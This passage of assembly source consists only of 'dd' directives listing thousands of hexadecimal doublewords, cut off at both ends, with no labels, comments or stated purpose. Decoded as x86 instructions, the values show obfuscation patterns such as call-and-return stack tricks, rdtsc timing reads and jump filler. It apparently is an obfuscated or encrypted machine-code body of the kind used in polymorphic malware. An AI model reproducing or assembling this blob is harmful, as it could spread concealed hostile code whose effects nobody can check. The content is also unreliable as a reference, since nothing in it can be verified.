0C3514100h, 6A70B4h, 0C810Fh, 8B0F0000h, 6, 2F5DBD8Bh dd 0D46805E9h, 5130B66Ch, 50616060h, 5A310F52h, 815F6158h dd 6F2B2434h, 0FFF930A9h, 0E9292D95h, 0FB8B6605h, 0BACE8589h dd 6A05ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 7EBA2CC3h, 0CF8166DCh, 9BE98636h, 9000001h dd 0E9223195h, 0C6858B05h, 0B705ECBAh, 1800C7B1h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 499BC351h, 0CAB58BF9h, 8905ECBAh, 0E924D59Dh dd 5D8D8905h, 8B05E92Dh, 0E92F3985h, 5E905h, 6FEC0000h dd 9AD6905h, 0E928319Dh, 9068905h, 0E910759Dh, 69858B05h dd 6A05E928h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 1CADC353h, 174CA6FAh, 0C592C8BBh dd 446895Ah, 8850F50h, 52000000h, 310F5250h, 895F585Ah dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0DEAD7BC3h, 0AC19D8Bh, 9D8B05E9h, 5E93035h dd 0BAC6B5FFh, 2C6805ECh, 53E657C4h, 62CEBB60h, 61600EC4h dd 4815B61h, 0C73FD324h, 57006A19h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0B26E82DEh, 0E01D056Bh dd 299D31AFh, 8005E930h, 858D2EE3h, 5ECBACEh, 0C6DE381h dd 505056EAh, 0F310F52h, 0B8Dh, 6E900h, 3B070000h, 0CBAEAAAh dd 489585Ah, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 6A7D888Dh, 4890F64h, 66000000h, 56DDA9BFh dd 12218D89h, 0FF5F05E9h, 0E9292D95h, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0C7FF9D13h, 66A5479Ch, 0E861D88Bh, 7, 712B7DFBh, 31D20F06h dd 0E90E799Dh, 85C75B05h, 5E9163Dh, 3, 110DB529h, 0BD8305E9h dd 5ECBACEh, 1D840F00h, 8B000000h, 0E917759Dh, 68F0F05h dd 0B000000h, 0E929FDBDh, 21E905h, 0BD8B0000h, 5E90775h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 8BC08B00h dd 0E90191BDh, 0EB816605h, 6AD64Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 66B2D7C3h dd 79A3C781h, 163DBD83h, 0F0305E9h, 40D85h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 7E8166Ch, 18000000h, 2297FACFh, 0BD315512h, 5E904DDh dd 0CEBD835Fh, 5ECBAh, 3D0840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 47DEAC3h dd 0CF593D60h, 0E9E8ADB5h, 12h, 6EE7ADFAh, 0E3A099BDh dd 0DE7A4D62h, 424068A6h, 0B5FFE709h, 5ECBACEh, 0D1B721BFh dd 7595FF5Eh, 8905E92Bh, 0E905A98Dh, 0C2B58B05h, 6A05ECBAh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 66C0C352h, 0E380FA8Bh, 106C756h, 0BF000100h dd 12519E9Ah, 8B525050h, 53310FFEh, 5A5B6160h, 24348958h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5BC35747h dd 0DD4875ABh, 0B589A30Fh, 5E92AB5h, 0BACEB5FFh, 6A05ECh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 9072C2C3h, 0C59D8B6Dh, 0FF05E907h, 0E92B4D95h, 12E905h dd 94740000h, 0CDF0DC11h, 0F6A0E641h, 3E1106ABh, 3E936DF1h dd 8BFAB70Fh, 0ECBAC2B5h, 0D3816605h, 858B804Eh, 5E90FDDh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0AEC35242h dd 0FFD2EE24h, 780BAA22h, 0A860F15h, 0E9000000h, 5, 4B34C355h dd 0C48689FBh, 8A000000h, 8BDF8BD9h, 0E9265595h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0F09E9565h, 5E7218BFh, 7E918h, 0E7270000h, 866EEEC8h dd 4C283ECh, 0B758589h, 508905E9h, 0FD9D2320h, 8D05E92Ch dd 0ECD05585h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 8A4F9EBAh, 0F9B70FF9h dd 0B88689h, 0BD8B0000h, 5E92269h, 0AF59D8Bh, 6A05E9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 3EC35747h dd 7F8229B8h, 5F2E4145h, 10099D29h, 0B5FF05E9h, 5ECBACEh dd 25CF8166h, 0AD95FF90h, 0E905E900h, 0Ch, 78630C4Bh, 6134E13Dh dd 630B7343h, 8A0F5096h, 0 dd 5E996h, 0D0A00000h, 0FF42FF32h, 0ECBACEB5h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0F6717BDCh, 0FFD84ACAh, 0E9323195h, 91BD8B05h, 8305E924h dd 0E92AB1BDh, 840F0005h, 4Ah, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 47C35242h, 8724CD25h, 67AAD642h dd 3850F51h, 66000000h, 95FFB8Bh, 0E92699B5h, 21BF9605h dd 500D45A9h, 800Fh, 89960000h, 0E92DE5BDh, 0B5FFF505h dd 5ECBACEh, 10E9h, 0CDFFE300h, 102624E6h, 6692444Eh, 9A4ECE8Dh dd 6195FF65h, 3105E92Fh, 0E92F9995h, 0CEB5FF05h, 6A05ECBAh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 4EB8C357h, 89E8D380h, 0E92D418Dh, 0C595FF05h dd 6A05E92Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 3E1C357h, 0E90D599Dh, 0FDBD8305h dd 205E903h, 47840Fh, 6DB70000h, 3055858Bh, 6A05E9h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0FC47E4C3h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0B7F4C351h, 0A985C755h dd 5E927h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 9CDCC355h, 442A1A4Ah, 830F4E3Eh dd 0 dd 2B659D8Bh, 55E905E9h, 6AFFFFF4h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 2174C351h dd 16970E9Ah, 8981103Fh, 0E90799B5h, 8DC18B05h, 0E921E585h dd 0B390F505h, 666050B2h, 0BB7059B9h, 64087D1h, 0D98B9061h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 1BA6E3C3h, 0BF0F696Eh, 6A006ADFh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 6C44C355h, 88858DA1h, 6A05EDD6h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0E1A1C352h dd 7ACF98F0h, 0E960F1D8h, 14h, 0CD08D6F0h, 0A21102C9h dd 45C5C18Bh, 0DF9FD5Fh, 0C0BAB666h, 8361E6B4h, 0BD8B05C0h dd 5E92699h, 0FE850h, 84A0000h, 47BEAEB1h, 5462A8E7h, 1E9EBB5Ch dd 0AE957F5h, 8D000000h, 395AD24Bh, 0CDFA8DDAh, 895F5FB3h dd 8FBB2404h, 6A4AC1A5h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0A281B6EFh, 2D95899Bh dd 6A05E919h, 0EDB50900h, 8B05E90Eh, 0E91E65BDh, 0A195FF05h dd 6005E90Ah, 0CE9h, 621BDA00h, 0F363F595h, 514B3A79h dd 59531D2h, 6105E933h, 0ADBF8D8Dh, 6A05ECh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0DE767BC3h dd 0FF97FC0Ah, 57006AD1h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 9D8B5101h, 5E919CDh, 0BDBD835Bh dd 105E901h, 7B850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0BF00F3C3h, 0B177B368h dd 0DDED381h, 26A6ED0h, 0EB99D8Bh, 509005E9h, 1C04BB66h dd 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 9E46A905h, 2DFDABA3h, 0AD95FFh, 800F05E9h dd 10h, 8E8h, 0B0F9D600h, 12F6C979h, 5B6160C1h, 4AEF8166h dd 0D77E9E8h, 0E80000h, 5D000000h, 0D692ED81h, 896005EDh dd 0E92D418Dh, 69958905h, 6105E90Fh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 0C4C35141h, 1E8E65AFh, 2B7B2E25h dd 0E92DE9BDh, 4B858D05h, 8105EC90h, 0E80796CBh, 0CFBB9079h dd 5004BAD1h, 8D0Fh, 6A900000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 64F6C356h, 35FFh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0D2111C3h, 89076A1Eh, 0E9065595h, 25896405h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0D3C35040h dd 475F0F49h, 26C19D8Bh, 85FF05E9h, 5E90689h, 31FF6AF8h dd 0E927219Dh, 55B5FF05h, 6A05E923h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 88FEC355h dd 95FFF834h, 5E907C9h, 15BE9h, 358D3100h, 0B005E923h dd 850F00h, 0E9000000h, 11h, 0D2E2F1EDh, 50777C2Bh, 0EEEE4810h dd 0C96407B4h, 0E870E64Bh, 0Eh, 1B037074h, 0C77FF495h dd 700F141Ch, 8BBFCD94h, 5F516655h, 606071E4h, 14E8h, 4661C100h dd 3BAD4606h, 0EDEB3CB8h, 81687DA6h, 2CEF99Ch, 958B5B30h dd 5E91915h, 0FE861h, 0A57A0000h, 8248D4B4h, 94DDF7A8h dd 0D36D3118h, 5AD08BD6h, 0F613C61h, 0D783h, 5420BB00h dd 0B60F39D8h, 0DF8B66C8h, 9853EF81h, 6BA179Eh, 0B3000000h dd 6DBD038Ah, 8B05E928h, 0C1DE8BC1h, 0BD8B04E8h, 5E90F71h dd 2BE2F766h, 0FBBF0FC8h, 8B66D18Bh, 9AE9D8h, 14E90000h dd 5F000000h, 0F15F6907h, 0A23ED0DCh, 0D844BC02h, 0AF87A78Bh dd 8BBAC08Eh, 485h, 0FDE8B00h, 0C083DBBFh, 0F7816607h dd 0C08318BEh, 9D9D3100h, 3B05E910h, 16830FD0h, 0E9000000h dd 0Ch, 35668A3Bh, 162FF63Ch, 253DD487h, 47E9h, 0FF8D8B00h dd 0F5FFFFFFh, 0F01E183h, 3784h, 83FE8B00h, 0FFFFFFA5h dd 0D381FEFFh, 68C5A3E0h, 49589h, 60600000h, 8D8B6160h dd 5E90335h, 0B8B0F61h, 0E9000000h, 6, 0CB95C06Fh, 0E9617B0Bh dd 0 dd 57E2B58Dh, 0EE905EDh, 0FA000000h, 57440961h, 57B9DED7h dd 72CDD372h, 6A006AE1h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0C6A8C352h, 81F5239Eh dd 0F88B4567h, 1E9595FFh, 850105E9h, 5E92735h, 0E4BB9h dd 0CF816600h, 0E18395CFh, 55006AFCh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0B2B49B3Eh dd 13E9h, 33683F00h, 0C973E9A1h, 50C58AB8h, 0B8359A7Eh dd 0F120F9E6h, 1BB960FCh, 611D9FFAh, 0B8h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 6D9D8932h, 8B05E905h, 0E923B59Dh, 6AD22B05h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0DDBAC353h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 57D9D89h dd 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 600BB2C3h, 880Dh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 29C3C94Ch dd 0E91859B5h, 55958B05h, 6A05E926h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 2927C350h dd 0E90F998Dh, 58D8B05h, 6A05E908h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 5746C355h dd 117D679h, 0E9272D9Dh, 0C28B5005h, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 6A58188Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 3B19C353h, 0C7816674h dd 0ECBFC65Dh, 832498ACh, 0E91CF1BDh, 840F0005h, 69h, 355BD89h dd 0B805E9h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0E3A4C351h, 7F957C6h dd 11BD8B13h, 2305E919h, 0E9252DBDh, 6D8D8D05h, 6A05E94Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 6DBC351h, 0C2433AC1h, 0B749B908h, 8BE1FF3Bh dd 3DBD83F9h, 5E916h, 3D2840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 17AE88C3h dd 0A5AC8F69h, 8B66E6F6h, 3DBD83F8h, 105E916h, 3B9840Fh dd 0BF0F0000h, 219589DFh, 8305E900h, 0E9163DBDh, 860F0305h dd 36Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 46C35242h, 39688575h, 50006A60h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 2B2E24EEh dd 0E92519BDh, 99B58905h, 6605E927h, 6E9D98Ch, 75000000h dd 0D74EB5A6h, 4E180FFh, 0AFA8B66h, 0C840FC9h, 0BF000001h dd 5B3637C9h, 8B7ADB80h, 0E9286985h, 0E99D8B05h, 3305E90Ah dd 0E90E6185h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 9C9A9FFDh, 3BF1BF50h dd 489325Eh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0DA477B9Ah, 665E314Bh, 5AD4E381h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0BD89FCC3h, 5E91791h, 628F0068h, 5FB5BF6Fh dd 348117A7h, 7D8CFF24h, 0D185896Fh, 0FF05E90Fh, 0E9292D95h dd 8D895105h, 5E90191h, 0CE85895Fh, 6A05ECBAh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0F41C351h, 0E3E9D9B7h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 213AC350h dd 0AE8h, 0D321E00h, 9F08C831h, 66F3E33Fh, 8B5FF98Bh, 0ECBAC685h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0E6161C69h, 0E9DDFEBFh, 0Ch, 0A6979ED2h dd 0CDA58DC7h, 5DC7F6A4h, 1800C7h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E99B40C3h dd 0Eh, 7036FD0Ah, 58C95355h, 4D7893E7h, 8529EA08h, 5E90FC9h dd 0BACAB58Bh, 94BF05ECh, 8B6092E6h, 0E92F3985h, 0F8068905h dd 2869858Bh, 6A05E9h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 954B5EC3h, 44689A4h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DCC35242h, 4764756Fh dd 8B96663Dh, 8E0F50D9h, 2, 6A96D98Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 6F8CC351h dd 0A14E57A5h, 68524FFEh, 0ABEB8166h, 0B70F6044h, 0B18589DBh dd 6105E92Eh, 0BAC6B5FFh, 9D8B05ECh, 5E915E5h, 650BC468h dd 0F88A6017h, 52505250h, 585A310Fh, 0BF66310Fh, 585A5A6Ch dd 24348161h, 177A083Bh, 0C05CE781h, 858D06C2h, 5ECBACEh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 7EC35545h dd 0FCAC1829h, 667B2FD1h, 0FF799BBh, 8A50FEB7h, 240489DAh dd 0EF816656h, 0FF5FDC46h, 0E9292D95h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 9E10D608h, 0F78F3A45h, 3399D01h, 666105E9h, 85C7D88Bh dd 5E9163Dh, 3, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 8AC35646h, 212B184h, 6DBF66CCh, 0CEBD83DBh, 5ECBAh dd 7840Fh, 1DE90000h, 8B000000h, 0C3050FAh, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0C9C35545h, 55832B97h, 0DE9h dd 0F0958F00h, 3502C52Ch, 5B5FB330h, 6ABE9Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 14507BC3h dd 11E913h, 8E150000h, 93CD5A4Eh, 72B7E69Eh, 0D14C2873h dd 83020E9Fh, 0E9163DBDh, 850F0305h, 409h, 1ED19D8Bh, 840F05E9h dd 6, 1DFD9D8Bh, 0BD8305E9h, 5ECBACEh, 0EA840F00h, 60000003h dd 1911858Bh, 0FF6105E9h, 0ECBACEB5h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0BBFE91A4h, 3AED58F2h, 2B7595FFh, 11E905E9h, 9C000000h dd 0E0E91CEAh, 0F2EAD2BBh, 4F4F9137h, 1E27839Dh, 0BAC2B58Bh dd 526005ECh, 10E9h, 0F4DE1800h, 968ACBAEh, 532820BAh dd 0ADCDA452h, 0C7615BB0h, 1000106h, 84ACBB00h, 53960578h dd 8B0F505Bh, 0 dd 8D8B6096h, 5E92231h, 0CEB5FF61h, 0B305ECBAh, 4D95FF07h dd 6A05E92Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 718FC356h, 5E6C2BA2h, 6DB58992h dd 8B05E911h, 0ECBAC2B5h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 7E137B56h dd 0B10B69FBh, 0DD858B4Fh, 0E905E90Fh, 0Eh, 0F8F8C69Ah dd 391E3A2Ah, 66A23A66h, 8689FC5Dh, 0C4h, 11E9h, 4C0E0100h dd 25392F7Fh, 7F08288Fh, 994CC8Bh, 958B0051h, 5E92655h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0CDC35343h dd 2C2E3CCDh, 8904C283h, 0E92F3DBDh, 20508905h, 890Fh dd 858D0000h, 5ECD055h, 23EBB66h, 0B88689h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0B9D6D3C3h, 945FA69Fh, 6E912h, 7A2D0000h, 2CA9FBBEh dd 16C9BD89h, 0EE905E9h, 37000000h, 4DF2588Eh, 0AD3F090Ah dd 891519DAh, 6A006AC2h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 7C86C352h, 0AC5FAE00h dd 0CEB5FF15h, 0F05ECBAh, 683h, 0F9BD8B00h, 0FF05E900h dd 0E900AD95h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0BD030553h, 5E91065h dd 6A965096h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 55FFC357h, 0E169E1F8h, 0B5FFECA8h dd 5ECBACEh, 95FFDA8Ah, 5E93231h, 1DD78166h, 0B1BD8361h dd 5E92Ah, 6B840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0C7CC2CC3h, 509BF943h dd 10E8h, 0A4F32000h, 713A5FCCh, 0D2EC7567h, 0A6FE6645h dd 34895B08h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 464AC0FEh, 1A3FC0F9h, 3D8D890Dh dd 8B05E92Eh, 0E932F59Dh, 0CEB5FF05h, 6005ECBAh, 0BB99D89h dd 880F05E9h, 1, 95FF61F5h, 5E92F61h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0CAC35747h, 548796C1h, 0B384F6E3h dd 0BD3360BEh, 5E93075h, 6E9h, 75A31000h, 61E67330h, 0BACEB5FFh dd 0BD8B05ECh, 5E92651h, 2DC595FFh, 10E905E9h, 46000000h dd 0F7D17448h, 38A20C5Ch, 9271DF4Bh, 83B56731h, 0E903FDBDh dd 840F0205h, 5Fh, 5E960h, 0A530000h, 5622E85Fh, 8AE88166h dd 8B615AA4h, 0E9305585h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0C66F1Ah, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 2E2BD4F5h, 0D5BD8BA1h, 0C705E928h, 0E927A985h, 5, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 77283422h, 0EF80EF0Ch, 0EE9C3h, 20F00000h, 2398544Eh dd 0E9D5DFCFh, 614CD86Fh, 0C5DB8166h, 0F393E954h, 8B53FFFFh dd 0E927659Dh, 0C18B5B05h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 27C35646h, 8BAB9EBEh, 0E91F519Dh, 0E5858D05h dd 6605E921h, 5090D88Bh, 0DE8h, 5D2F2300h, 8659824Bh, 51028955h dd 905B77CBh, 178D9D89h, 6A05E9h, 6A9EEF80h, 0F7816600h dd 858DCE8Dh, 5EDE607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 5CC35747h, 98814C78h, 0FC0B0EC6h, 5E986h dd 0D8060000h, 811CCDADh, 0C91BACF3h, 5C0834Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 8BC35646h, 635F0B1Fh dd 89DF8B50h, 0E7802404h, 0E9006AB9h, 0Ah, 0C225BADDh dd 0DC4FA80Ah, 6A5CD6h, 0A195FFF5h, 6A05E90Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 2166C350h, 0F1CF5554h, 0BF8D8DACh, 6A05ECADh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 6974C355h, 6C787C9Eh, 8BA1E375h, 0E93209BDh, 6AD1FF05h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 6BACC357h, 0C78B6660h, 8961B6B7h, 0E90201BDh dd 5DBD0B05h, 8305E90Fh, 0E901BDBDh, 850F0105h, 0C0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B6C35646h, 0FDBD2979h dd 6A05E92Dh, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 8C49FE93h, 1DF38166h, 0E8519004h dd 0Bh, 27DD303Fh, 1157AEC8h, 0F4592BDh, 86h, 505B5B00h dd 624F15BBh, 6A9005h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 55C854C3h, 0DC0371Bh, 0BD030C47h dd 5E90C8Dh, 0AD95FFh, 6A05E9h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0F8B33BC3h, 0B529F65Fh dd 5E90919h, 0CC4E9h, 0E800h, 815D0000h, 0EDE611EDh, 6E805h dd 5FA10000h, 2D5FF539h, 5BFFB70Fh, 6840Fh, 9D8B0000h dd 5E92FDDh, 904B858Dh, 0FE805ECh, 20000000h, 0C465ED18h dd 0D2AB825Dh, 0F433CD7Ah, 8531F1ADh, 5E905C9h, 0B460905Fh dd 0AB96680h, 50506185h, 11810F52h, 0E8000000h, 0Bh, 0DCD3B304h dd 5E258EBAh, 5F6AB829h, 68BB310Fh, 5A68324Eh, 0E3809058h dd 35FF645Ah, 0 dd 28659D31h, 64F505E9h, 2589h, 0D7BB0000h, 0FF5C4095h dd 0E9068985h, 0D98A5105h, 89FF6A5Bh, 0E92EC195h, 5DBD8905h dd 0FF05E92Dh, 0E915DDB5h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 9BD890Fh, 0FF05E90Dh dd 0E907C995h, 13CE905h, 85890000h, 5E927F1h, 9E800B0h dd 9D000000h, 222DA9DAh, 0AC752780h, 23899D8Bh, 295F05E9h dd 0E9004D95h, 0E970E605h, 8, 785864B8h, 0D1ED2C58h, 613C71E4h dd 100830Fh, 66600000h, 23EECE81h, 1F258531h, 0F6105E9h dd 0DF81C8B6h, 0E631A5Fh, 9DD9BF66h, 6BAh, 25FDBB00h, 0C18B6E6Bh dd 8B04E8C1h, 0E917219Dh, 0E2F76605h, 8DD78166h, 0DE846h dd 0B4630000h, 3D370EFAh, 0A954C516h, 5108E257h, 5E9h dd 0E691DC00h, 5F5B2570h, 8166C82Bh, 8BFCBEDBh, 0D9BF66D1h dd 98E901h, 0B70F0000h, 44858BD8h, 505F4C4Ch, 25BA6660h dd 870F87h, 61000000h, 7C0835Fh, 0BC7D53BBh, 0C0837Ah dd 1E9D8589h, 0BF6605E9h, 0D03B1793h, 0D830Fh, 0FD8A0000h dd 5DE9h, 0A9BD8B00h, 8B05E917h, 0FFFFFF8Dh, 0EEE781FFh dd 3109E2E5h, 0E9042D85h, 1E18305h, 3C840Fh, 0BF660000h dd 0A583FA4Ah, 0FFFFFFFFh, 10E9FEh, 63870000h, 0AE41C505h dd 5920918Eh, 990DAA14h, 95894A90h, 5F4C4C44h, 0C258589h dd 6E905E9h, 70000000h, 0B89E8D36h, 0E909h, 0B58D0000h dd 5ED662Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0E7C35343h, 3419D23h, 6A05E9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0BCC35343h, 9E8h, 9A1C4D00h dd 4BDA477Bh, 5BF85E31h, 1E9595FFh, 8D8905E9h, 5E910ADh dd 0FDDB9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 38B3FB58h, 0E1838312h, 0C9BD8BFCh dd 0FC05E92Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0FFC35141h, 23EE9716h, 0B8h, 6AD22B00h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 923FC352h, 8E06BEDFh, 11E8B9h, 0DD560000h, 5F6A46BDh dd 0ABC65F88h, 0BBDD5CF6h, 66E49939h, 0AD5FF88Bh, 0E8D1C233h dd 0E983D003h, 60F47504h, 334DEE81h, 0B70F1DE7h, 6A61F1h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0A20957C3h, 0ECE68593h, 477FBF66h, 880Dh, 1DE8B00h dd 0E9037D85h, 55958B05h, 0F05E926h, 68Ch, 4DBD8B00h, 8B05E923h dd 0E908058Dh, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 7BF30539h, 0CFDEF5DEh dd 118F0Fh, 0CE90000h, 0CE000000h, 7282FAC0h, 0C1C58550h dd 507B4A7Fh, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 18BF6658h, 0DEBF0F26h, 0BD835B52h, 5E91CF1h, 81840F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 85EFC350h, 0F61E81DAh, 9D9B6D89h dd 78D9D89h, 0B805E9h, 8B000000h, 0E903E5BDh, 6D8D8D05h dd 6A05E94Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 3837C355h, 34860686h, 6AE1FFh dd 3E853h, 5B200000h, 5C895BC3h, 